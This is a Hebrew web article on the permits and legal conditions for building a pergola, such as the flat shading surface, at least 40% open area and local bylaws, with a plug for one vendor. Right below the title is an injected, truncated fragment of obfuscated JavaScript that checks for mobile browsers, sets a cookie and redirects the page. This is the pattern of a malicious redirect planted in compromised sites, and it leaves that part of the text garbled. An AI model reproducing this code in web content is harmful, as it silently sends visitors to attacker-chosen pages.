בניית פרגולה – סוף מעשה במחשבה תחילה

\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

אם תשאלו את רוב הציבור איך נראה בית חלומותיהם, חלק גדול ישיבו כי הם חולמים על בית פרטי עם קמין, ג'קוזי בחצר וגינה גדולה בחוץ. חלקם יוסיפו כי הם חולמים גם על בריכה ו/או סאונה ופרגולה יפה וגדולה המותקנת בחצר.

לחלק גדול מהציבור, זהו רק חלום. חלקנו הצלחנו להגשים חלק ממנו. חלק אחר מאיתנו עדיין, ככל הנראה, מבקש להגשים את החלום ותקוע אי שם בנסיון לקבל היתר לבניית הפרגולה.

לא כולם מודעים לעובדה אבל בנייה של פרגולה מצריכה קבלת היתר מיוחד. אבל לא רק פרגולה, אלא כל סוכך שעונה על קריטריונים המוגדרים בחוק. בשנת 2003 הוסדר בחוק התכנון והבניה נושא האישורים הנדרשים לבניית הפרגולה. החוק הקיים מציב מספר דרישות מאד ברורות שיש לבצען טרם הקמתה. חשוב לדעת כי במקרה שתוקם פרגולה ללא אישור, בעליה עלול להתמודד עם תביעה, כתב אישום וצו הריסה.

כדי שהפרגולה תוכל לקבל אישור בניה היא צריכה לעמוד בדרישות הבאות:

• הפרגולה (מצללה) מוגדרת על פי החוק כמבנה ללא קירות.
• היא בעלת תקרה שהיא משטח הצללה שצריך להיות מישורי.
• חל איסור כי משטח ההצללה יהיה נטוי או בעל שיפוע.
• המשטח יסמך אך ורק על עמודים.
• המרווחים בין החלקים האטומים של משטחי ההצללה שלו יחולקו בצורה שווה והם יהוו לפחות 40% מהמשטח.

כתוצאה מהסעיף האחרון, כחלק מהשיקולים כדאי לחשוב על הרכבה של פרגולות חשמליות בעלות פתיחה וסגירה מלאה מאחר והן עומדות בדרישות בחוק. פרגולות אלה ניתן למצוא אצל סוככי תבל.

אולי יעניין אותך: בניית פרגולה – תיקוני החקיקה בתחום התכנון והבניה

חשוב להבין כי ניתן לחסוך זמן והוצאות מיותרות בתהליך הכרוך בהוצאת ההיתר לבניית פרגולה. זאת ניתן לעשות אך ורק על ידי מעקב ומילוי הוראות החוק המדויקות.

להלן עוד מספר דברים המופיעים בחוק, ושאותם יש לבדוק טרם הקמת פרגולה:

שמירה על הבניין

חל איסור כי הבניה של פרגולה תפגע בשלד הבניין, במערכות הבניין או בבטיחות שלו

מדיניות הרשות המקומית

קיימים חוקי עזר לכל רשות מקומית בנושא בניה בכלל ומצללות בפרט. מאחר והחוקים שונים בין רשות אחת לשניה, יש לוודא מהן ההגבלות של הרשות המקומית בה אתם מעוניינים לבנות פרגולה.

יש לוודא אצל הרשות המקומית מהו הגודל המותר של הפרגולה, הסוג ממנו היא צריכה להיות בנויה ועוד. בנוסף, יש לבדוק מהי הדרישה לגבי בניית הפרגולה בבניין משותף. לא בכל המקומות יש צורך בקבלת אישור מהדיירים. לעומת זאת יש רשויות המאשרות בניתה של פרגולה מסוג מסוים בלבד. ואז הפרגולה אותה ניתן לבנות תהיה חייבת לעמוד תחת הגבלות מסויימות – היא חייבת להיות מסוג מסוים ומוגדר מראש ובעלת צבע וחומר אחיד לכל הדיירים.

אחוזי הבניה המותרים

במידת האפשר, מומלץ לדאוג שהפרגולה לא תחושב באחוזי הבניה המותרים של הבניין והדירה בה היא מותקנת. קיימים מספר מצבים בהם הפרגולה לא תחושב באחוזי הבניין המותרים. מצבים אלה יש לבדוק ברשות המקומית.

במידה והפרגולה לא עומדת במצבים שהוגדרו אצל הרשות המקומית, היא תחושב באחוזי הבניה המותרים. במקרים אלה יתכן ויוטל על בנייתה היטל השבחה והארנונה בגינה תהיה גבוהה יותר.

רק לאחר בדיקה מקיפה של כל התנאים בהם ניתן להקים פרגולה, ולאחר שבעל הדירה רואה כי הוא עומד בקריטריונים הדרושים בחוק, יש להגיש לרשות המקומית בקשה להיתר עבודה מצומצמת בו יוגדר במדויק: מיקום הפרגולה, גודלה, החומר ממנו היא בנויה וכל דרישות גורמי ההנדסה של העירייה.

במידה ואין עמידה בקריטריון אחד או יותר יש להגיש בקשה למתן היתר בניה בליווי תשריט של הפרגולה לרשות המקומית. את התשריט יש לקבל מהחברה בה אתם רוכשים פרגולה.

כדאי לדעת כי בכל מקרה בו התקנתם פרגולה לאחר קבלת האישורים וביקשתם לבצע בה שינוי – כגון הפיכתה למבנה סגור – יש לבדוק האם באפשרותכם לבצע את השינוי ולקבל על כך אישור. במידה ולא תקבלו אישור, השינוי עלול לגרור קבלת צו הריסה לפרגולה.

לסיכום

בניית פרגולה יכולה להיות מסכת יסורים במידה ולא מקפידים לעבוד על פי הקריטריונים הקבועים בחוק. הפרוצדורה לא פשוטה ולעיתים לא נעימה, אך בסופו של יום, הישיבה תחת הפרגולה שווה את המאמץ.